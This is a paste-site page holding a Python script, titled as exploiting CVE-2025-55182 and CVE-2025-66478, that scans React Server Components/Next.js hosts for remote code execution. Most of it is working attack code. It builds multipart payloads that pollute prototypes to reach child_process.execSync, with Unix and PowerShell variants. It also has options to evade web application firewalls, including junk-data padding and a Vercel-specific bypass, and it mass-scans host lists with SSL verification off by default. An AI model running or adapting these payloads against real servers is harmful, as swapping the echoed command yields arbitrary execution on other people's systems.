m7mdharon

React2Shell Scanner - Python Script for Exploiting CVE-2025-55182 & CVE-2025-66478

Dec 6th, 2025
28
10
Never
Not a member of gistpad yet? Sign Up, it unlocks many cool features!
Python 111.84 KB | Cybersecurity | 1 0
  1. #!/usr/bin/env python3
  2. """
  3. React2Shell Scanner - High Fidelity Detection for RSC/Next.js RCE
  4. CVE-2025-55182 & CVE-2025-66478
  5.  
  6. Based on research from Assetnote Security Research Team.
  7. """
  8.  
  9. import argparse
  10. import sys
  11. import json
  12. import os
  13. import random
  14. import re
  15. import string
  16. from datetime import datetime, timezone
  17. from concurrent.futures import ThreadPoolExecutor, as_completed
  18. from urllib.parse import urlparse
  19. from typing import Optional
  20.  
  21. try:
  22. import requests
  23. from requests.exceptions import RequestException
  24. except ImportError:
  25. print("Error: 'requests' library required. Install with: pip install requests")
  26. sys.exit(1)
  27.  
  28. try:
  29. from tqdm import tqdm
  30. except ImportError:
  31. print("Error: 'tqdm' library required. Install with: pip install tqdm")
  32. sys.exit(1)
  33.  
  34.  
  35. class Colors:
  36. RED = "\033[91m"
  37. GREEN = "\033[92m"
  38. YELLOW = "\033[93m"
  39. BLUE = "\033[94m"
  40. MAGENTA = "\033[95m"
  41. CYAN = "\033[96m"
  42. WHITE = "\033[97m"
  43. BOLD = "\033[1m"
  44. RESET = "\033[0m"
  45.  
  46.  
  47. def colorize(text: str, color: str) -> str:
  48. """Apply color to text."""
  49. return f"{color}{text}{Colors.RESET}"
  50.  
  51.  
  52. def print_banner():
  53. """Print the tool banner."""
  54. banner = f"""
  55. {Colors.CYAN}{Colors.BOLD}brought to you by assetnote{Colors.RESET}
  56. """
  57. print(banner)
  58.  
  59.  
  60. def parse_headers(header_list: list[str] | None) -> dict[str, str]:
  61. """Parse a list of 'Key: Value' strings into a dict."""
  62. headers = {}
  63. if not header_list:
  64. return headers
  65. for header in header_list:
  66. if ": " in header:
  67. key, value = header.split(": ", 1)
  68. headers[key] = value
  69. elif ":" in header:
  70. key, value = header.split(":", 1)
  71. headers[key] = value.lstrip()
  72. return headers
  73.  
  74.  
  75. def normalize_host(host: str) -> str:
  76. """Normalize host to include scheme if missing."""
  77. host = host.strip()
  78. if not host:
  79. return ""
  80. if not host.startswith(("http://", "https://")):
  81. host = f"https://{host}"
  82. return host.rstrip("/")
  83.  
  84.  
  85. def generate_junk_data(size_bytes: int) -> tuple[str, str]:
  86. """Generate random junk data for WAF bypass."""
  87. param_name = ''.join(random.choices(string.ascii_lowercase, k=12))
  88. junk = ''.join(random.choices(string.ascii_letters + string.digits, k=size_bytes))
  89. return param_name, junk
  90.  
  91.  
  92. def build_safe_payload() -> tuple[str, str]:
  93. """Build the safe multipart form data payload for the vulnerability check (side-channel)."""
  94. boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
  95.  
  96. body = (
  97. f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
  98. f'Content-Disposition: form-data; name="1"\r\n\r\n'
  99. f"{{}}\r\n"
  100. f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
  101. f'Content-Disposition: form-data; name="0"\r\n\r\n'
  102. f'["$1:aa:aa"]\r\n'
  103. f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--"
  104. )
  105.  
  106. content_type = f"multipart/form-data; boundary={boundary}"
  107. return body, content_type
  108.  
  109.  
  110. def build_vercel_waf_bypass_payload() -> tuple[str, str]:
  111. """Build the Vercel WAF bypass multipart form data payload."""
  112. boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
  113.  
  114. part0 = (
  115. '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
  116. '"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
  117. '"var res=process.mainModule.require(\'child_process\').execSync(\'echo $((41*271))\').toString().trim();;'
  118. 'throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",'
  119. '"_chunks":"$Q2","_formData":{"get":"$3:\\"$$:constructor:constructor"}}}'
  120. )
  121.  
  122. body = (
  123. f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
  124. f'Content-Disposition: form-data; name="0"\r\n\r\n'
  125. f"{part0}\r\n"
  126. f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
  127. f'Content-Disposition: form-data; name="1"\r\n\r\n'
  128. f'"$@0"\r\n'
  129. f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
  130. f'Content-Disposition: form-data; name="2"\r\n\r\n'
  131. f"[]\r\n"
  132. f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
  133. f'Content-Disposition: form-data; name="3"\r\n\r\n'
  134. f'{{"\\"\u0024\u0024":{{}}}}\r\n'
  135. f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--"
  136. )
  137.  
  138. content_type = f"multipart/form-data; boundary={boundary}"
  139. return body, content_type
  140.  
  141.  
  142. def build_rce_payload(windows: bool = False, waf_bypass: bool = False, waf_bypass_size_kb: int = 128) -> tuple[str, str]:
  143. """Build the RCE PoC multipart form data payload."""
  144. boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
  145.  
  146. if windows:
  147. # PowerShell payload - escape double quotes for JSON
  148. cmd = 'powershell -c \\\"41*271\\\"'
  149. else:
  150. # Linux/Unix payload
  151. cmd = 'echo $((41*271))'
  152.  
  153. prefix_payload = (
  154. f"var res=process.mainModule.require('child_process').execSync('{cmd}')"
  155. f".toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),"
  156. f"{{digest: `NEXT_REDIRECT;push;/login?a=${{res}};307;`}});"
  157. )
  158.  
  159. part0 = (
  160. '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
  161. '"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"'
  162. + prefix_payload
  163. + '","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}'
  164. )
  165.  
  166. parts = []
  167.  
  168. # Add junk data at the start if WAF bypass is enabled
  169. if waf_bypass:
  170. param_name, junk = generate_junk_data(waf_bypass_size_kb * 1024)
  171. parts.append(
  172. f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
  173. f'Content-Disposition: form-data; name="{param_name}"\r\n\r\n'
  174. f"{junk}\r\n"
  175. )
  176.  
  177. parts.append(
  178. f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
  179. f'Content-Disposition: form-data; name="0"\r\n\r\n'
  180. f"{part0}\r\n"
  181. )
  182. parts.append(
  183. f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
  184. f'Content-Disposition: form-data; name="1"\r\n\r\n'
  185. f'"$@0"\r\n'
  186. )
  187. parts.append(
  188. f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
  189. f'Content-Disposition: form-data; name="2"\r\n\r\n'
  190. f"[]\r\n"
  191. )
  192. parts.append("------WebKitFormBoundaryx8jO2oVc6SWP3Sad--")
  193.  
  194. body = "".join(parts)
  195. content_type = f"multipart/form-data; boundary={boundary}"
  196. return body, content_type
  197.  
  198.  
  199. def resolve_redirects(url: str, timeout: int, verify_ssl: bool, max_redirects: int = 10) -> str:
  200. """Follow redirects only if they stay on the same host."""
  201. current_url = url
  202. original_host = urlparse(url).netloc
  203.  
  204. for _ in range(max_redirects):
  205. try:
  206. response = requests.head(
  207. current_url,
  208. timeout=timeout,
  209. verify=verify_ssl,
  210. allow_redirects=False
  211. )
  212. if response.status_code in (301, 302, 303, 307, 308):
  213. location = response.headers.get("Location")
  214. if location:
  215. if location.startswith("/"):
  216. # Relative redirect - same host, safe to follow
  217. parsed = urlparse(current_url)
  218. current_url = f"{parsed.scheme}://{parsed.netloc}{location}"
  219. else:
  220. # Absolute redirect - check if same host
  221. new_host = urlparse(location).netloc
  222. if new_host == original_host:
  223. current_url = location
  224. else:
  225. break # Different host, stop following
  226. else:
  227. break
  228. else:
  229. break
  230. except RequestException:
  231. break
  232. return current_url
  233.  
  234.  
  235. def send_payload(target_url: str, headers: dict, body: str, timeout: int, verify_ssl: bool) -> tuple[requests.Response | None, str | None]:
  236. """Send the exploit payload to a URL. Returns (response, error)."""
  237. try:
  238. # Encode body as bytes to ensure proper Content-Length calculation
  239. # and avoid potential encoding issues with the HTTP client
  240. body_bytes = body.encode('utf-8') if isinstance(body, str) else body
  241. response = requests.post(
  242. target_url,
  243. headers=headers,
  244. data=body_bytes,
  245. timeout=timeout,
  246. verify=verify_ssl,
  247. allow_redirects=False
  248. )
  249. return response, None
  250. except requests.exceptions.SSLError as e:
  251. return None, f"SSL Error: {str(e)}"
  252. except requests.exceptions.ConnectionError as e:
  253. return None, f"Connection Error: {str(e)}"
  254. except requests.exceptions.Timeout:
  255. return None, "Request timed out"
  256. except RequestException as e:
  257. return None, f"Request failed: {str(e)}"
  258. except Exception as e:
  259. return None, f"Unexpected error: {str(e)}"
  260.  
  261.  
  262. def is_vulnerable_safe_check(response: requests.Response) -> bool:
  263. """Check if a response indicates vulnerability (safe side-channel check)."""
  264. if response.status_code != 500 or 'E{"digest"' not in response.text:
  265. return False
  266.  
  267. # Check for Vercel/Netlify mitigations (not valid findings)
  268. server_header = response.headers.get("Server", "").lower()
  269. has_netlify_vary = "Netlify-Vary" in response.headers
  270. is_mitigated = (
  271. has_netlify_vary
  272. or server_header == "netlify"
  273. or server_header == "vercel"
  274. )
  275.  
  276. return not is_mitigated
  277.  
  278.  
  279. def is_vulnerable_rce_check(response: requests.Response) -> bool:
  280. """Check if a response indicates vulnerability (RCE PoC check)."""
  281. # Check for the X-Action-Redirect header with the expected value
  282. redirect_header = response.headers.get("X-Action-Redirect", "")
  283. return bool(re.search(r'.*/login\?a=11111.*', redirect_header))
  284.  
  285.  
  286. def check_vulnerability(host: str, timeout: int = 10, verify_ssl: bool = True, follow_redirects: bool = True, custom_headers: dict[str, str] | None = None, safe_check: bool = False, windows: bool = False, waf_bypass: bool = False, waf_bypass_size_kb: int = 128, vercel_waf_bypass: bool = False) -> dict:
  287. """
  288. Check if a host is vulnerable to CVE-2025-55182/CVE-2025-66478.
  289.  
  290. Tests root path first. If not vulnerable and redirects exist, tests redirect path.
  291.  
  292. Returns a dict with:
  293. - host: the target host
  294. - vulnerable: True/False/None (None if error)
  295. - status_code: HTTP status code
  296. - error: error message if any
  297. - request: the raw request sent
  298. - response: the raw response received
  299. """
  300. result = {
  301. "host": host,
  302. "vulnerable": None,
  303. "status_code": None,
  304. "error": None,
  305. "request": None,
  306. "response": None,
  307. "final_url": None,
  308. "timestamp": datetime.now(timezone.utc).isoformat() + "Z"
  309. }
  310.  
  311. host = normalize_host(host)
  312. if not host:
  313. result["error"] = "Invalid or empty host"
  314. return result
  315.  
  316. root_url = f"{host}/"
  317.  
  318. if safe_check:
  319. body, content_type = build_safe_payload()
  320. is_vulnerable = is_vulnerable_safe_check
  321. elif vercel_waf_bypass:
  322. body, content_type = build_vercel_waf_bypass_payload()
  323. is_vulnerable = is_vulnerable_rce_check
  324. else:
  325. body, content_type = build_rce_payload(windows=windows, waf_bypass=waf_bypass, waf_bypass_size_kb=waf_bypass_size_kb)
  326. is_vulnerable = is_vulnerable_rce_check
  327.  
  328. headers = {
  329. "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0",
  330. "Next-Action": "x",
  331. "X-Nextjs-Request-Id": "b5dce965",
  332. "Content-Type": content_type,
  333. "X-Nextjs-Html-Request-Id": "SSTMXm7OJ_g0Ncx6jpQt9",
  334. }
  335.  
  336. # Apply custom headers (override defaults)
  337. if custom_headers:
  338. headers.update(custom_headers)
  339.  
  340. def build_request_str(url: str) -> str:
  341. parsed = urlparse(url)
  342. req_str = f"POST {'/aaa' or '/aaa'} HTTP/1.1\r\n"
  343. req_str += f"Host: {parsed.netloc}\r\n"
  344. for k, v in headers.items():
  345. req_str += f"{k}: {v}\r\n"
  346. req_str += f"Content-Length: {len(body)}\r\n\r\n"
  347. req_str += body
  348. return req_str
  349.  
  350. def build_response_str(resp: requests.Response) -> str:
  351. resp_str = f"HTTP/1.1 {resp.status_code} {resp.reason}\r\n"
  352. for k, v in resp.headers.items():
  353. resp_str += f"{k}: {v}\r\n"
  354. resp_str += f"\r\n{resp.text[:2000]}"
  355. return resp_str
  356.  
  357. # First, test the root path
  358. result["final_url"] = root_url
  359. result["request"] = build_request_str(root_url)
  360.  
  361. response, error = send_payload(root_url, headers, body, timeout, verify_ssl)
  362.  
  363. if error:
  364. result["error"] = error
  365. return result
  366.  
  367. result["status_code"] = response.status_code
  368. result["response"] = build_response_str(response)
  369.  
  370. if is_vulnerable(response):
  371. result["vulnerable"] = True
  372. return result
  373.  
  374. # Root not vulnerable - try redirect path if enabled
  375. if follow_redirects:
  376. try:
  377. redirect_url = resolve_redirects(root_url, timeout, verify_ssl)
  378. if redirect_url != root_url:
  379. # Different path, test it
  380. response, error = send_payload(redirect_url, headers, body, timeout, verify_ssl)
  381.  
  382. if error:
  383. # Keep root result but note the redirect failed
  384. result["vulnerable"] = False
  385. return result
  386.  
  387. result["final_url"] = redirect_url
  388. result["request"] = build_request_str(redirect_url)
  389. result["status_code"] = response.status_code
  390. result["response"] = build_response_str(response)
  391.  
  392. if is_vulnerable(response):
  393. result["vulnerable"] = True
  394. return result
  395. except Exception:
  396. pass # Continue with root result if redirect resolution fails
  397.  
  398. result["vulnerable"] = False
  399. return result
  400.  
  401.  
  402. def load_hosts(hosts_file: str) -> list[str]:
  403. """Load hosts from a file, one per line."""
  404. hosts = []
  405. try:
  406. with open(hosts_file, "r") as f:
  407. for line in f:
  408. host = line.strip()
  409. if host and not host.startswith("#"):
  410. hosts.append(host)
  411. except FileNotFoundError:
  412. print(colorize(f"[ERROR] File not found: {hosts_file}", Colors.RED))
  413. sys.exit(1)
  414. except Exception as e:
  415. print(colorize(f"[ERROR] Failed to read file: {e}", Colors.RED))
  416. sys.exit(1)
  417. return hosts
  418.  
  419.  
  420. def save_results(results: list[dict], output_file: str, vulnerable_only: bool = True):
  421. if vulnerable_only:
  422. results = [r for r in results if r.get("vulnerable") is True]
  423.  
  424. output = {
  425. "scan_time": datetime.now(timezone.utc).isoformat() + "Z",
  426. "total_results": len(results),
  427. "results": results
  428. }
  429.  
  430. try:
  431. with open(output_file, "w") as f:
  432. json.dump(output, f, indent=2)
  433. print(colorize(f"\n[+] Results saved to: {output_file}", Colors.GREEN))
  434. except Exception as e:
  435. print(colorize(f"\n[ERROR] Failed to save results: {e}", Colors.RED))
  436.  
  437.  
  438. def print_result(result: dict, verbose: bool = False):
  439. host = result["host"]
  440. final_url = result.get("final_url")
  441. redirected = final_url and final_url != f"{normalize_host(host)}/"
  442.  
  443. if result["vulnerable"] is True:
  444. status = colorize("[VULNERABLE]", Colors.RED + Colors.BOLD)
  445. print(f"{status} {colorize(host, Colors.WHITE)} - Status: {result['status_code']}")
  446. if redirected:
  447. print(f" -> Redirected to: {final_url}")
  448. elif result["vulnerable"] is False:
  449. status = colorize("[NOT VULNERABLE]", Colors.GREEN)
  450. print(f"{status} {host} - Status: {result['status_code']}")
  451. if redirected and verbose:
  452. print(f" -> Redirected to: {final_url}")
  453. else:
  454. status = colorize("[ERROR]", Colors.YELLOW)
  455. error_msg = result.get("error", "Unknown error")
  456. print(f"{status} {host} - {error_msg}")
  457.  
  458. if verbose and result["vulnerable"]:
  459. print(colorize(" Response snippet:", Colors.CYAN))
  460. if result.get("response"):
  461. lines = result["response"].split("\r\n")[:10]
  462. for line in lines:
  463. print(f" {line}")
  464.  
  465.  
  466. def main():
  467. parser = argparse.ArgumentParser(
  468. description="React2Shell Scanner",
  469. formatter_class=argparse.RawDescriptionHelpFormatter,
  470. epilog="""
  471. Examples:
  472. %(prog)s -u https://example.com
  473. %(prog)s -l hosts.txt -t 20 -o results.json
  474. %(prog)s -l hosts.txt --threads 50 --timeout 15
  475. %(prog)s -u https://example.com -H "Authorization: Bearer token" -H "User-Agent: CustomAgent"
  476. """
  477. )
  478.  
  479. input_group = parser.add_mutually_exclusive_group(required=True)
  480. input_group.add_argument(
  481. "-u", "--url",
  482. help="Single URL/host to check"
  483. )
  484. input_group.add_argument(
  485. "-l", "--list",
  486. help="File containing list of hosts (one per line)"
  487. )
  488.  
  489. parser.add_argument(
  490. "-t", "--threads",
  491. type=int,
  492. default=10,
  493. help="Number of concurrent threads (default: 10)"
  494. )
  495.  
  496. parser.add_argument(
  497. "--timeout",
  498. type=int,
  499. default=10,
  500. help="Request timeout in seconds (default: 10)"
  501. )
  502.  
  503. parser.add_argument(
  504. "-o", "--output",
  505. help="Output file for results (JSON format)"
  506. )
  507.  
  508. parser.add_argument(
  509. "--all-results",
  510. action="store_true",
  511. help="Save all results to output file, not just vulnerable hosts"
  512. )
  513.  
  514. parser.add_argument(
  515. "-k", "--insecure",
  516. default=True,
  517. action="store_true",
  518. help="Disable SSL certificate verification"
  519. )
  520.  
  521. parser.add_argument(
  522. "-H", "--header",
  523. action="append",
  524. dest="headers",
  525. metavar="HEADER",
  526. help="Custom header in 'Key: Value' format (can be used multiple times)"
  527. )
  528.  
  529. parser.add_argument(
  530. "-v", "--verbose",
  531. action="store_true",
  532. help="Verbose output (show response snippets for vulnerable hosts)"
  533. )
  534.  
  535. parser.add_argument(
  536. "-q", "--quiet",
  537. action="store_true",
  538. help="Quiet mode (only show vulnerable hosts)"
  539. )
  540.  
  541. parser.add_argument(
  542. "--no-color",
  543. action="store_true",
  544. help="Disable colored output"
  545. )
  546.  
  547. parser.add_argument(
  548. "--safe-check",
  549. action="store_true",
  550. help="Use safe side-channel detection instead of RCE PoC"
  551. )
  552.  
  553. parser.add_argument(
  554. "--windows",
  555. action="store_true",
  556. help="Use Windows PowerShell payload instead of Unix shell"
  557. )
  558.  
  559. parser.add_argument(
  560. "--waf-bypass",
  561. action="store_true",
  562. help="Add junk data to bypass WAF content inspection (default: 128KB)"
  563. )
  564.  
  565. parser.add_argument(
  566. "--waf-bypass-size",
  567. type=int,
  568. default=128,
  569. metavar="KB",
  570. help="Size of junk data in KB for WAF bypass (default: 128)"
  571. )
  572.  
  573. parser.add_argument(
  574. "--vercel-waf-bypass",
  575. action="store_true",
  576. help="Use Vercel WAF bypass payload variant"
  577. )
  578.  
  579. args = parser.parse_args()
  580.  
  581. if args.no_color or not sys.stdout.isatty():
  582. Colors.RED = ""
  583. Colors.GREEN = ""
  584. Colors.YELLOW = ""
  585. Colors.BLUE = ""
  586. Colors.MAGENTA = ""
  587. Colors.CYAN = ""
  588. Colors.WHITE = ""
  589. Colors.BOLD = ""
  590. Colors.RESET = ""
  591.  
  592. if not args.quiet:
  593. print_banner()
  594.  
  595. if args.url:
  596. hosts = [args.url]
  597. else:
  598. hosts = load_hosts(args.list)
  599.  
  600. if not hosts:
  601. print(colorize("[ERROR] No hosts to scan", Colors.RED))
  602. sys.exit(1)
  603.  
  604. # Adjust timeout for WAF bypass mode
  605. timeout = args.timeout
  606. if args.waf_bypass and args.timeout == 10:
  607. timeout = 20
  608.  
  609. if not args.quiet:
  610. print(colorize(f"[*] Loaded {len(hosts)} host(s) to scan", Colors.CYAN))
  611. print(colorize(f"[*] Using {args.threads} thread(s)", Colors.CYAN))
  612. print(colorize(f"[*] Timeout: {timeout}s", Colors.CYAN))
  613. if args.safe_check:
  614. print(colorize("[*] Using safe side-channel check", Colors.CYAN))
  615. else:
  616. print(colorize("[*] Using RCE PoC check", Colors.CYAN))
  617. if args.windows:
  618. print(colorize("[*] Windows mode enabled (PowerShell payload)", Colors.CYAN))
  619. if args.waf_bypass:
  620. print(colorize(f"[*] WAF bypass enabled ({args.waf_bypass_size}KB junk data)", Colors.CYAN))
  621. if args.vercel_waf_bypass:
  622. print(colorize("[*] Vercel WAF bypass mode enabled", Colors.CYAN))
  623. if args.insecure:
  624. print(colorize("[!] SSL verification disabled", Colors.YELLOW))
  625. print()
  626.  
  627. results = []
  628. vulnerable_count = 0
  629. error_count = 0
  630.  
  631. verify_ssl = not args.insecure
  632. custom_headers = parse_headers(args.headers)
  633.  
  634. if args.insecure:
  635. import urllib3
  636. urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
  637.  
  638. if len(hosts) == 1:
  639. result = check_vulnerability(hosts[0], timeout, verify_ssl, custom_headers=custom_headers, safe_check=args.safe_check, windows=args.windows, waf_bypass=args.waf_bypass, waf_bypass_size_kb=args.waf_bypass_size, vercel_waf_bypass=args.vercel_waf_bypass)
  640. results.append(result)
  641. if not args.quiet or result["vulnerable"]:
  642. print_result(result, args.verbose)
  643. if result["vulnerable"]:
  644. vulnerable_count = 1
  645. else:
  646. with ThreadPoolExecutor(max_workers=args.threads) as executor:
  647. futures = {
  648. executor.submit(check_vulnerability, host, timeout, verify_ssl, custom_headers=custom_headers, safe_check=args.safe_check, windows=args.windows, waf_bypass=args.waf_bypass, waf_bypass_size_kb=args.waf_bypass_size, vercel_waf_bypass=args.vercel_waf_bypass): host
  649. for host in hosts
  650. }
  651.  
  652. with tqdm(
  653. total=len(hosts),
  654. desc=colorize("Scanning", Colors.CYAN),
  655. unit="host",
  656. ncols=80,
  657. disable=args.quiet
  658. ) as pbar:
  659. for future in as_completed(futures):
  660. result = future.result()
  661. results.append(result)
  662.  
  663. if result["vulnerable"]:
  664. vulnerable_count += 1
  665. tqdm.write("")
  666. print_result(result, args.verbose)
  667. elif result["error"]:
  668. error_count += 1
  669. if not args.quiet and args.verbose:
  670. tqdm.write("")
  671. print_result(result, args.verbose)
  672. elif not args.quiet and args.verbose:
  673. tqdm.write("")
  674. print_result(result, args.verbose)
  675.  
  676. pbar.update(1)
  677.  
  678. if not args.quiet:
  679. print()
  680. print(colorize("=" * 60, Colors.CYAN))
  681. print(colorize("SCAN SUMMARY", Colors.BOLD))
  682. print(colorize("=" * 60, Colors.CYAN))
  683. print(f" Total hosts scanned: {len(hosts)}")
  684.  
  685. if vulnerable_count > 0:
  686. print(f" {colorize(f'Vulnerable: {vulnerable_count}', Colors.RED + Colors.BOLD)}")
  687. else:
  688. print(f" Vulnerable: {vulnerable_count}")
  689.  
  690. print(f" Not vulnerable: {len(hosts) - vulnerable_count - error_count}")
  691. print(f" Errors: {error_count}")
  692. print(colorize("=" * 60, Colors.CYAN))
  693.  
  694. if args.output:
  695. save_results(results, args.output, vulnerable_only=not args.all_results)
  696.  
  697. if vulnerable_count > 0:
  698. sys.exit(1)
  699. sys.exit(0)
  700.  
  701.  
  702. if __name__ == "__main__":
  703. main()
RAW Gist Data Copied